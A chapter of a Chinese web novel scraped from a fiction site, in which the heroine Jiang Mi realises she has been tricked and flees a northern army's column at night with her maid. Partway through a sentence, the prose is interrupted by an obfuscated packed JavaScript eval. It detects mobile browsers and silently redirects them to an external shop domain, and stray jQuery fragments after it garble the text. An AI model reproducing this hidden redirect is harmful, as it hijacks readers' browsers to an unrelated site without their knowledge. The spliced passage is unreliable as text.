文趣网 > 其他小说 > 南冠北雁 > 19. 第十九章
    车队仍在行进,姜弥却没有心思再听下去。

    穆婉君的话和之前宇文长赢答应的完全不同,让她不禁陷入深沉的自我怀疑中。

    赤芍看出自家姑娘心不在焉,隐约明白穆婉君带来的消息是个噩耗。

    她替姜弥接过话头,随意敷衍了两句,左不过答应姜弥不会做什么傻事,前头随军的将士都吩咐过,一应生活用具不会缺斤少两。

    好不容易把穆婉君哄下车,她立刻钻进来,扶着姜弥的膝盖,满脸恐慌。

    “姑娘,肃苍今日真是说夜间歇息时,送我们悄悄离开。”

    她生怕是自己听错,极力像姜弥证明,举着手指就要发誓,“这关系到咱们能不能回家,我定然不会听错的。是不是穆娘子搞错了,什么两日一停,只是为了转移视线的假消息?”

    假消息,她倒是真希望啊。

    但姜弥没有抱着天真的想法,若宇文长赢要遮掩,根本没必要报一个假的军令。他早就做了决定,要的就是快速赶路。

    穆婉君能接触到的情况,可比她眼前看到的清楚多了。

    若是如此,肃苍先前送的口信,怕是为了拖延时间,迷惑她的办法。

    想通这一点,姜弥蓦地冷笑,她没有怪赤芍,反倒是安慰道:“你没有听错,穆娘子也没有搞错,是我们、我们被蒙在鼓里,彻底被骗了。”

    这一招回马枪,杀了姜弥措手不及。

    她如何也没料到,宇文长赢前头信誓旦旦保证,连每一个条件细节都谈妥,却在最后虚晃一枪。

    胸中情绪翻涌,逐渐烧起来。

    她默默缩了缩身子,紧紧靠住车壁。

    “恐怕他一开始,就没打算轻易放过我们。”

    姜弥喃喃复盘,心头的懊悔冲刷着记忆,她明明早知道宇文长赢不可信,却还是一步步踏入陷阱。

    “可他,他……”

    赤芍结结巴巴,着急地抬手指向车帘,似乎想要反驳什么,却突然意识到,她们已经上了贼船,离开不得,才惊诧地坐下来,“那些女眷、箱笼,居然都是假的,他们北凉欺人太甚!亏得姑娘费尽心思,真真是不要脸!”

    她索性压着声音低骂,南晋文武皆以诚为主,从没见过如此厚颜无耻,反反复复的人。作为一国之君,竟然还能毁约。

    骂完,她又陷入一阵后怕,侧头看向姜弥,“那姑娘,咱们是不是…只能去北凉了?”

    姜弥指尖收紧,下意识蜷缩起来。

    北凉上京,那个软禁了她十年的地方,像是一道甩不脱的魔咒。

    她挣扎求生,做了这么多努力,还是落到相同地步吗?

    比起未来重复般的恐慌,姜弥莫名生出一种想立刻逃亡的冲动,不管能不能成功,也不管会不会没了性命,只要逃,只要能远离上京,远离和亲的命运。

    “不。”

    姜弥哑然开口,一个字咬得极深。

    她那双清澈眼眸,顿时被慌乱后的愤怒占满了,眼眶红了一圈,却死死压抑,不肯落泪。

    “那我们怎么办……”赤芍失神般望着她,仿佛在虔诚祈求神明的旨意。

    姜弥快速撩开车帘,眼前是一望无际的荒原,风声呼啸,吹乱路上的小树,沙砾飞溅,空气里的青草味被尘土吞没。

    一条如此望不到头的绝路。

    心里的勇气徒生,却带有两分理智。

    她忙不迭坐回去,握紧赤芍的手,“此次巡边北凉派了不少人手,后头又有辎重兵甲,拖着这么多人,就算宇文长赢下令赶路,两日也走不了太远。我们等着,权当不知道,等夜间再作行动。”

    她瞥着那两个堆在角落的小木箱,“只带路引,其他一概不拿,那些女眷也没办法管,如今的情况,只有我们两个自行逃命了。”

    若有办法,她自然不想舍下一群无辜之人,可紧要关头,已顾不得无用的善良。

    姜弥闭上眼睛,手指死死攥紧。

    马上,她就要孤注一掷地博个出路。

    最坏的结果,就是死,可比起囚禁十年,孤苦伶仃死在沙漠里,她宁愿轰轰烈烈地试一次。

    两日夜间行路,终于得了口令,就地调整。士兵三三两两坐在篝火旁,有几个随性女眷正将换下来的衣物清洗晾晒。

    食物的香气从后头一路飘远,好几个将领已经吩咐下属去排队领取吃食。

    赤芍等在后头,有些紧张地搓着手。

    她左顾右盼,没见肃苍的影子。

    这两日她都有些被问烦了,或许是好奇她们竟然没有因为计划改变闹腾,肃苍三不五时来看一眼。

    她谨记着姜弥的嘱咐,若有打探,一应不作声,宇文长赢的人问,就说郡主相信太子殿下必当守约,一时计划有变,也可以理解。

    何况走出去两日罢了,以北凉军马的脚程,赶回赤塘,也不算困难。

    赤芍每每这么回答,肃苍就一副欲言又止的模样,那股子无措都快冒出来了。

    她在心里翻了个白眼,暗自腹诽,真当谁看不透他们打的主意啊,一个个坏胚子,明明自个心虚,还打着关心的旗号来探消息。

    呸!

    还好穆娘子无意透露了真相,不然再晚些,郡主和她都不好跑了。

    她低眉敛目,从军中伙夫手里接过吃食。之前为了不让她们扎眼,份例都是和其他兵士相差无二,只是多了些衣物补贴。

    赤芍一边捧着那两碗肉汤,一边偷偷觑着周遭环境。

    经过两日,车队已经离开了荒原,虽右侧还是茫茫草原,左侧却有山峦起伏,灌木茂密,人一旦扎进去,不刻意翻找,是极难寻到的。

    她望了望天气,郡主说等天全黑再动身,看来这两碗肉汤,就是她们在北凉的最后一顿。

    “赤芍。”

    清朗的声音突然从赤芍身后炸起,她吓得手抖,赶紧平衡着,不让汤洒出去。

    晚上还要靠这点吃食应付跑路,这要全洒了,她们就得从头到尾饿肚子。

    她没好气转头,果然是肃苍,他正站在辎重车后头,手里提着两只猎来的野兔。

    “有事?”赤芍向来对他没好话,态度因这两日的事,更加不悦。

    肃苍旁若无人,也没把这点不敬放在眼里,快步到她跟

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17769914|209864||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    前,“我们殿下方才打了野味,想着一会儿烤兔子吃,你家姑娘要不要一起?草原冬日的兔子,正是肥润的时候,火烤烟熏,吃起来可香了。”

    他晃了晃兔子,腥气让赤芍往后退了退,但那皮毛厚实,圆胖敦实的模样,想想都觉得油香肉足,吃起来风味十足。

    可——

    “不用。”

    赤芍微不可察地咽了咽口水,移开眼神,冷冷拒绝。

    这等嗟来之食,她才不要吃呢。

    “我们姑娘信佛,每月总要茹素几日,你来得不巧,她今日吃不了荤。”

    她随意扯了个借口,偏偏肃苍好似没听出来,心里纠结南晋人就是麻烦,什么佛不佛的,他们长生天可没有这么多规矩。

    “那可惜了。”他扯出一个灿烂的笑,里头带了点幸灾乐祸。

    赤芍眯起眼睛,重重“哼”了一声,大踏步绕过他,“两只野兔子,又不是没吃过。我们家乡,清蒸玉兔、兔肉羹、烧兔子、炸兔子做法多了去了,不差你这一顿。”

    她说得极快,里头带了点攀比的不甘心。

    肃苍学着她的样子摇头晃脑,撇撇嘴,欢欢喜喜拎着兔子朝溪边走去。

    这一幕,都落在姜弥眼里。

    她放下车帘,慢慢琢磨。

    她的计划很简单,趁着夜黑风高,她和赤芍从马车后头慢慢往灌木丛里走。

    她观察过了,不知是不是宇文长赢怕她疑心,没有特意安排人手盯她。

    前后左右的士卒都是军中出身,到了军令安排歇息的时候,并不会特别警惕。加上这两日,晚间风大,不少士兵都把脸埋在头巾里。

    她和赤芍的衣物里,有几件朴素的翻领袍,都是走之前肃苍塞的。

    颜色并不艳丽,布料寻常,两人悄悄换上衣物,头上再围两条挡风的头巾,就算有人瞧见,只会当作军中帮忙的仆妇。

    待得他们反应过来,禀明宇文长赢的时候,她和赤芍也许已经走了大半程路,马上就要到赤塘了。

    只有一件事,她根本没把握,就是兄长的情况。

    如果宇文长赢从一开始就打算骗她,那她写的那封信,恐怕送不到兄长手里。还有赵掌柜,赤芍没见到他们,她也没在队伍里瞧见。

    难道是被扣押在折冲府了?

    总不能……

    “扣扣。”

    敲门声响起,赤芍微微掀开帘子,蹑手蹑脚塞进一条干净衣衫,她只露出眼睛,整个人融入夜色,看着和仆妇无异。

    姜弥看着那套袍子,心下大定,动作麻利地换上衣衫。

    原本的衣裳丢在车上,她深深扫了一眼,外头夜色深沉,望不清荆棘有多深,有多锋利,也看不到任何一条小路,但她只能赌。

    她佝偻身子,装作行色匆匆,和赤芍并排略过一个个昏昏欲睡的士卒。

    两人走到中间人烟稀少的废弃甲车附近,四下张望,一转身,就没入了灌木丛中。

    风吹得更烈了些,杂草飘摇,守在路边的兵卒下意识拢手,头缩得更低。

    无人发现,这支队伍里,少了最特殊的两个人。